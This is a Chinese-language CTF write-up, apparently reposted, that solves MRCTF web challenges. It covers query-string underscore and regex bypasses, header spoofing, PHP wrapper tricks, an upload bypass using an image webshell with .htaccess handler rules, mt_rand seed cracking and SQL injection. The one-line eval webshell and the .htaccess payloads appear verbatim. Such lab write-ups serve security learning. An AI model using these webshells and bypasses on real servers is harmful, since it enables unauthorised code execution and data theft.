【MRCTF—Web】做题+复现记录
套娃
——偽協議、加密、Bypass
查看源碼發現這一串代碼,
想繞過去就必須滿足我們傳入的參數沒有_,而且得通過下面代碼的匹配,這里就會有一個矛盾,GET傳入參數的是b_u_p_t,含有這個_,如何先將這個繞過,后面的繞過正則只需要%0a截斷就可以,查了百度,發現可以使用.來代替這個符號,所以payload為:
?b.u.p.t=23333%0a
出現下一關
發現需要Local access,所以應該是需要修改XFF的,而且查看源碼發現
直接在控制臺執行
POST進去一個Merak,傳入參數之后就可以看到源碼
仔細分析一下代碼會發現,那個change函數就是分割一下字符繼續往上加密的,如果我們file傳入的是flag.php,那么最后呈現的絕對不是這個文件了,所以我們需要對這個函數進行一下改動讓輸出的字符最后變成flag.php,這也很簡單
只需把這個函數的+號變成-號,將base64解碼去掉即可,這樣的話file_get_contents這個函數便可以把這個flag.php給顯示出來了,那下面就繞過這個就可以了
還要注意的是XFF給過濾了,使用Client-ip即可
總結:
除此之外,看了師傅的博客,發現第一層繞過還可以使用來這些來進行繞過
%5F b.u.p.t(點代替_) b u p t(空格代替_)還有就是$_SERVER[‘QUERY_STRING’]不會urldecode,所以一般套路是可以URL編碼進行繞過。
除了上面的使用php://input,對于file_get_contents()用data://偽協議也可以繞過
?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=你傳你🐎呢
——文件上傳
這個題當時做的時候快把這個上傳方法試一遍,最后才發現是哪的問題
上傳任何帶php后綴的都會被ban掉,隨便查看一下報錯頁面
是Apache,所以可以嘗試使用圖片馬,利用.htaccess文件進行解析即可
上傳帶jpg后綴的圖片馬,發現上傳成功
再來上傳.htaccess文件,這里記得要改下Content-Type,上面測試了圖片可以繞過就改成image/jpeg,否則是繞不過去的
最后連接在根目錄下找flag即可
總結:
補充一下上傳姿勢和.htaccess 文件上傳
#上傳姿勢 添加gif89a的頭 <script language=”php”> php2,php3、php4、php5、phtml、phtm代替php后綴 傳.htaccess 截斷上傳#.htaccess文件上傳 #方法一: # FileMatch 參數即為文件名的正則匹配 <FilesMatch "1.jpg">SetHandler application/x-httpd-php </FilesMatch> // 1.jpg <?php eval($_GET['a']);?> #方法二: AddType application/x-httpd-php .jpg // 1.jpg <?php eval($_GET['a']);?>Ezaudit
——源碼泄露、偽隨機數
題目涉及到審計,就直接去掃源碼,一般都是有的
也很簡單,只要得到私鑰,在密碼處SQL注入即可得到flag,源碼中也給出了公鑰
源碼用到了函數mt_rand(),這個函數在種子相同的時候,給出的隨機數序列是一樣的,所以只要知道了種子,該函數的隨機數便可以預測。
所以下面就是爆破種子,先要將公鑰生成的15個隨機數轉換成php_mt_seed工具的Input格式
str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' str2='KVQP0LdJKRaV3n9D' str3 = str1[::-1] length = len(str2) res='' for i in range(len(str2)):for j in range(len(str1)):if str2[i] == str1[j]:res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' 'break print res這里要注意,str1字符串的順序要和給定的順序保持一致才行
否則是爆破不出來的
爆出了隨機種子1775196155,接下來就寫一下PHP腳本來求出私鑰
求得私鑰XuNhoueCDCGc,掃一下發現是有login.php頁面的
傳進去構造簡單的SQL注入即可
總結
隨機數的題目套路也很簡單,就是利用工具即可,但注意在輸出格式的時候字符串的順序還有得到種子是PHP那個版本的,如果是PHP5版本的用7跑則跑不出來想要的結果,如果沒爆出版本,都試試就可以了!
總結
以上是生活随笔為你收集整理的【MRCTF—Web】做题+复现记录的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Centos RSYNC服务搭建
- 下一篇: PHP弱类型及一些绕过姿势